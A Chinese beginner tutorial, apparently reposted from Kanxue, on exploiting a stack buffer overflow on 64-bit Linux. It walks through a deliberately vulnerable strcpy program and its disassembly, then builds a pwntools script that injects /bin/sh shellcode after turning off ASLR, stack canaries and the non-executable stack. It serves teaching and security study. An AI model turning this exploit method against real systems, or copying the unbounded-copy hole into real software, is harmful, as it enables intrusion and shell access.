一 栈的介绍
二 使用栈的局部变量
三 栈溢出原理
四 示例讲解
4.1 源代码视角下查看程序
#include <stdio.h> #include <stdlib.h> #include <string.h> static void simple_overflow(char* in_val) { char buf[12]; strcpy(buf, in_val); printf("buffer content: %sn", buf); } int main(int argc, char* argv[]) { if (!argv[1]) { printf("need argv[1], will exit...n"); return 0; } getchar(); simple_overflow(argv[1]); printf("has returnn"); return 0; }
main
函数接收命令行作为参数,并将argv[1]
传递给函数simple_overflow
,函数会将argv[1]
复制给缓冲区变量buf
。gcc
和编译选项-g
进行编译。成功开启PWN成功之路的第一步!4.2 反汇编视角下查看程序
objdump
对生成的二进制进行反汇编,下面会对反汇编结果进行解释。0000000000001179 <simple_overflow>: 1179: 55 push %rbp 117a: 48 89 e5 mov %rsp,%rbp 117d: 48 83 ec 30 sub $0x30,%rsp 1181: 48 89 7d d8 mov %rdi,-0x28(%rbp) 1185: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 118c: 00 00 118e: 48 89 45 f8 mov %rax,-0x8(%rbp) 1192: 31 c0 xor %eax,%eax 1194: 48 8b 55 d8 mov -0x28(%rbp),%rdx 1198: 48 8d 45 ec lea -0x14(%rbp),%rax 119c: 48 89 d6 mov %rdx,%rsi 119f: 48 89 c7 mov %rax,%rdi 11a2: e8 89 fe ff ff call 1030 <strcpy@plt> 11a7: 48 8d 45 ec lea -0x14(%rbp),%rax 11ab: 48 89 c6 mov %rax,%rsi 11ae: 48 8d 05 4f 0e 00 00 lea 0xe4f(%rip),%rax # 2004 <_IO_stdin_used+0x4> 11b5: 48 89 c7 mov %rax,%rdi 11b8: b8 00 00 00 00 mov $0x0,%eax 11bd: e8 9e fe ff ff call 1060 <printf@plt> 11c2: 90 nop 11c3: 48 8b 45 f8 mov -0x8(%rbp),%rax 11c7: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax 11ce: 00 00 11d0: 74 05 je 11d7 <simple_overflow+0x5e> 11d2: e8 79 fe ff ff call 1050 <__stack_chk_fail@plt> 11d7: c9 leave 11d8: c3 ret 00000000000011d9 <main>: 11d9: 55 push %rbp 11da: 48 89 e5 mov %rsp,%rbp 11dd: 48 83 ec 10 sub $0x10,%rsp 11e1: 89 7d fc mov %edi,-0x4(%rbp) 11e4: 48 89 75 f0 mov %rsi,-0x10(%rbp) 11e8: 48 8b 45 f0 mov -0x10(%rbp),%rax 11ec: 48 83 c0 08 add $0x8,%rax 11f0: 48 8b 00 mov (%rax),%rax 11f3: 48 85 c0 test %rax,%rax 11f6: 75 16 jne 120e <main+0x35> 11f8: 48 8d 05 19 0e 00 00 lea 0xe19(%rip),%rax # 2018 <_IO_stdin_used+0x18> 11ff: 48 89 c7 mov %rax,%rdi 1202: e8 39 fe ff ff call 1040 <puts@plt> 1207: b8 00 00 00 00 mov $0x0,%eax 120c: eb 2c jmp 123a <main+0x61> 120e: e8 5d fe ff ff call 1070 <getchar@plt> 1213: 48 8b 45 f0 mov -0x10(%rbp),%rax 1217: 48 83 c0 08 add $0x8,%rax 121b: 48 8b 00 mov (%rax),%rax 121e: 48 89 c7 mov %rax,%rdi 1221: e8 53 ff ff ff call 1179 <simple_overflow> 1226: 48 8d 05 06 0e 00 00 lea 0xe06(%rip),%rax # 2033 <_IO_stdin_used+0x33> 122d: 48 89 c7 mov %rax,%rdi 1230: e8 0b fe ff ff call 1040 <puts@plt> 1235: b8 00 00 00 00 mov $0x0,%eax 123a: c9 leave 123b: c3 ret
main
函数还是simple_overflow
函数,起开头都会有下面的三条指令。栈的介绍
中说过,每个函数的栈都是独立的,栈空间的范围通过栈底指针寄存器(amd64:rbp
)和栈顶指针寄存器(amd64:rsp
)标识,新数据入栈会放入栈的最顶部,而rsp
一直指向栈顶,所以并不会受新数据入栈的影响,只需要1个寄存器保存即可。rbp
放入栈内,再将调用函数的栈顶放入rbp
内,作为被调用函数的栈底,最后通过sub
指令分配栈空间。push %rbp mov %rsp,%rbp sub $0x10,%rsp
main
函数在处理好栈之后,就会开始处理形参,形参根据调用协议放入指定位置,常见的调用协议有fastcall
、stdcall
等等但不管哪种调用协议,形参位置都会放入寄存器或栈空间内。edi
占用0x4字节,rsi
占用0x6字节,由此推测edi
对应int
类型的argc
,rsi
对应char**
的argv
,其中目前的实验环境是64位的Linux虚拟机,虚拟地址空间只占用了48位,因此是0x6字节(1字节是8比特,48 / 8 = 6
)。mov %edi,-0x4(%rbp) mov %rsi,-0x10(%rbp)
ar
gv
,会发现其中参数来源于父函数栈,而且栈上还保存着许多命令行的环境变量。(gdb) x /s 0x00007fffffffe261 0x7fffffffe261: "jhH270/bin///sPH211347hri�01�012014$�01�01�01�011366Vjb^H�01346VH2113461322j;X�17�05", 'A' <repeats 64 times>, "BBBBBBBB220335377377377177" (gdb) 0x7fffffffe2e0: "SHELL=/bin/bash" (gdb) 0x7fffffffe2f0: "COLORTERM=truecolor" (gdb) 0x7fffffffe304: "TERM_PROGRAM_VERSION=1.87.2" (gdb) 0x7fffffffe320: "LC_ADDRESS=en_US.UTF-8" (gdb) 0x7fffffffe337: "LC_NAME=en_US.UTF-8" (gdb) 0x7fffffffe34b: "LC_MONETARY=en_US.UTF-8"
rax
,因为使用argv[1]
进行判断,所以再将argv
放入rax
后,会在偏移0x8字节到达argv[1]
,然后将argv[1]
指针对应的内容放入rax
。最后使用test
和jne
指令进行条件跳转。mov -0x10(%rbp),%rax add $0x8,%rax mov (%rax),%rax test %rax,%rax jne 120e
argv[1]
没有收到参数时,就会从取出字符串交给rax
,然后根据调用协议传递给rdi
,调用打印函数,最后将返回值赋给rax
返回。printf
函数,但是因为没有任何的参数传递给打印字符串,所以这里直接使用了puts
函数。lea 0xe19(%rip),%rax # 2018 <_IO_stdin_used+0x18> mov %rax,%rdi call 1040 <puts@plt> mov $0x0,%eax jmp 123a <main+0x61>
argv[1]
时,会先调用函数getchar
,这个函数的主要作用是等待字符输入,没有输入就一直停留在这里,使得我们可以方便的挂到调试器上。call 1070 <getchar@plt>
main
函数就会开始准备调用simple_overflow
函数,此处处理可以发现与前面处理argv[1]
以及处理待发送的形参类似,因此不在过多赘述。mov -0x10(%rbp),%rax add $0x8,%rax mov (%rax),%rax mov %rax,%rdi call 1179 <simple_overflow>
simple_overflow
函数完成调用后,会再进行一次打印。lea 0xe06(%rip),%rax # 2033 <_IO_stdin_used+0x33> mov %rax,%rdi call 1040 <puts@plt>
mov
指令负责将返回值交给rax
,leave
指令负责释放分配的栈空间并恢复栈底指针寄存器,ret
指令负责从栈上取出返回值并返回。mov $0x0,%eax leave ret
main
函数后,接着再了解一下simple_overflow
函数,其中函数开始部分、形参处理、结尾部分、打印部分都不会再进行解析了。simple_overflow
函数会从fs
中取出1个数值交给rax
,最后放入栈内,xor
会对数值进行与运算,当数值与自己进行与运算时,就会将自己清零。mov %fs:0x28,%rax mov %rax,-0x8(%rbp) xor %eax,%eax
fs
上数值进行比对,如果不一样就会调用__stack_chk_fail
函数。mov -0x8(%rbp),%rax sub %fs:0x28,%rax je 11d7 <simple_overflow+0x5e> call 1050 <__stack_chk_fail@plt>
strcpy
函数准备形参,其中rbp-0x28
是main
函数传递过来的形参,rbp-0x14
是本地缓冲区变量的所在位置。strcpy
函数会将形参中的内容复制给本地缓冲区变量,因此strcpy
函数复制时并不会考虑形参的内容是否超过本地缓冲区变量的容量,只会在遇到字符串结束符
时才会停止。
mov -0x28(%rbp),%rdx lea -0x14(%rbp),%rax mov %rdx,%rsi mov %rax,%rdi call 1030 <strcpy@plt>
4.3 pwntools介绍
pwntools
是专门为PWN设置的工具,可以借助python方便的使用pwntools
,然后借助pwntools
中的工具快速建立脚本,对目标进行PWN。pwntools
中的shellcode
生成功能以及地址转换功能进行开发,其中shellcode
是控制执行流后需要执行的内容,一般会建立shell
环境,使得执行流打开终端,让我们可以随意输入命令。4.4 准备expliot
exploit
指漏洞利用脚本,exploit
会对程序的漏洞进行利用。shellcode
组成。shellcode
的所在位置,考虑到shellcode
位于栈上,因此可以借助rbp
或rsp
索引shellcode
。rbp
或rsp
的位置,然后再计算shellcode
的位置。rbp
或rsp
的数值打印出来就可以。register __uint64_t sbp_val asm("xxx");
4.4.1 拦路虎-ASLR
1: get rbp: 0x7ffd21d27d00, rsp: 0x7ffd21d27cd0 2. get rbp: 0x7ffe71bd5a70, rsp: 0x7ffe71bd5a40 3. get rbp: 0x7ffe2ba2b780, rsp: 0x7ffe2ba2b750
Address Space Layout Randomization
技术,提高内存布局的随机性。/proc/sys/kernel/randomize_va_space
进行查看,当然也可也通过虚文件打开和关闭。其中0代表关闭,1代表部分开启(mmap的基址、stack、vdso)、2代表全部开启。echo 0 | sudo tee -a /proc/sys/kernel/randomize_va_space
就可以将ASLR关闭了。4.4.2 拦路虎-金丝雀
rbp
及rsp
中保存的数值就会稳定下来,此时再去设置返回地址就万无一失了!exploit
,开始PWN!import os import pwn # 设置pwntools环境 pwn.context.clear() pwn.context.update(arch = 'amd64', os = 'linux') # 生成shellcode shellcode_src = pwn.shellcraft.sh() shellcode_raw_bytes = pwn.asm(shellcode_src) # 构造payload rbp_addr = 0x7fffffffde00 shellcode_gap = 0x8 * 2 # 父函数栈底指针占用空间 + 返回地址占用空间,0x8为64位下指针类型数据占用的空间大小 hijack_ret = pwn.p64(rbp_addr + shellcode_gap) payload = 'A' * 0x14 # 0x14为本地缓冲区变量到栈底的偏移值,使用字符A覆盖本地缓冲区变量到栈底的位置 payload += 'B' * 0x8 payload += '{0}'.format(str(hijack_ret)[2:-1]) payload += '{0}'.format(str(shellcode_raw_bytes)[2:-1]) # 执行程序 exec_path = './bufof' os.system('{0} {1}'.format(exec_path, payload))
exploit
后,发现程序因为异常退出了,打印如下的语句。*** stack smashing detected ***: terminated
simple_overflow
中一段特别的代码,原来它会从fs
中取出1个随机值放入栈内,当函数准备返回时,就会取出保存在栈上的随机值进行查看,如果数值发生变化,就会调用__stack_chk_fail
函数,然后退出。-fno-stack-protector
将该机制暂时关闭。4.4.2 拦路虎-字符与字节
exploit
,发现程序收到了异常信号。Program terminated with signal SIGSEGV, Segmentation fault.
strcpy
函数执行后的栈空间,可以看到返回地址上并不是地址,地址对应的字符。(gdb) x /20c $rbp 0x7fffffffde00: 66 'B' 66 'B' 66 'B' 66 'B' 66 'B' 66 'B' 66 'B' 66 'B' 0x7fffffffde08: 120 'x' 49 '1' 48 '0' 120 'x' 100 'd' 101 'e' 120 'x' 102 'f' 0x7fffffffde10: 102 'f' 120 'x' 102 'f' 102 'f'
x7f
这样的字符时,前缀x
并不会被自动解释,所以需要先获取解释前缀x
后对应字符,然后将解释获得的字符作为命令行参数传递。echo
,通过查看echo
的使用文档可以知道,添加-e选项就可以对x
进行解释。-e enable interpretation of backslash escapes echo -e "xff" �
payload
,让它可以传递原始比特数据对应的字符。payload += '$(echo -e "{0}")'.format(str(hijack_ret)[2:-1]) payload += '$(echo -e "{0}")'.format(str(shellcode_raw_bytes)[2:-1])
4.4.4 shellcode的位置
payload
传输后,发现仍无法进行PWN,观察栈上的返回地址后,发现0xffffde40 0x00007fff
变成了0xffffde40 0x686a7fff
,这显然与预期中使用0填充空间的情况有所误差。x /20x $rbp 0x7fffffffde30: 0x42424242 0x42424242 0xffffde10 0x686a7fff 0x7fffffffde40: 0x622fb848 0x2f2f6e69 0x4850732f 0x7268e789 0x7fffffffde50: 0x81010169 0x01012434 0xf6310101 0x5e086a56 0x7fffffffde60: 0x56e60148 0x31e68948 0x583b6ad2 0x0000050f 0x7fffffffde70: 0x55554040 0x00000002 0x555551a6 0x00005555
686a
,不难知道,它来自于shellcode
,在目前的构造中shellcode
,位于返回地址的后方。shellcode
的位置。假如将shellcode
向前放置,就需要本地缓冲区变量到返回地址间的空间是足够容纳shellcode
的,现在的空间显然是不够的,所以shellcode
前置的方法需要增大本地缓冲区变量的容量。shellcode
前置,前面通过观察argv
可以知道,argv
所在的栈空间会将一部分的命令行环境变量放进来,因此提前设置好shellcode
的环境变量,然后再跳过去也是一种方案。shellcode
前置的方案。4.4.5 不可执行的栈
payload
。rbp_addr = 0x7fffffffde00 shellcode_gap = 0x8 * 2 # 父函数栈底指针占用空间 + 返回地址占用空间,0x8为64位下指针类型数据占用的空间大小 hijack_ret = pwn.p64(rbp_addr - 0x70) # 0x70为本地缓冲区变量到栈底的偏移值 payload = '$(echo -e "{0}")'.format(str(shellcode_raw_bytes)[2:-1]) payload += 'A' * (0x70 -0x30) # 0x30是shellcode的长度,使用字符A覆盖本地缓冲区变量到栈底的位置 payload += 'B' * 0x8 payload += '$(echo -e "{0}")'.format(str(hijack_ret)[2:-1])
shellcode
的所在位置,但是一执行就又崩掉了。1: x/i $rip => 0x7fffffffdd90: push $0x68 (gdb) Program received signal SIGSEGV, Segmentation fault.
maps
文件,maps
文件位于Linux中的proc
目录,其中对应进程目录下记录了各种与进程相关的信息,而maps
文件就是进程的内存布局图。maps
文件后,可以确认现在的栈的确是不可执行的。7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
-z execstack
,使得栈变成可以执行的状态。4.5 成功PWN
exploit
,就可以成功得到shell
,完成PWN了!python ./exploit.py sh: line 1: warning: command substitution: ignored null byte in input buffer content: jhH�/bin///sPH��hri�4$1�V^H�VH��1�j;XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB����� sh-5.2$
参考资料
看雪ID:福建炒饭乡会
https://bbs.kanxue.com/user-home-1000123.htm
原文始发于微信公众号(看雪学苑):PWN入门-大黑客出世:栈上的缓冲区溢出(Linux平台)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论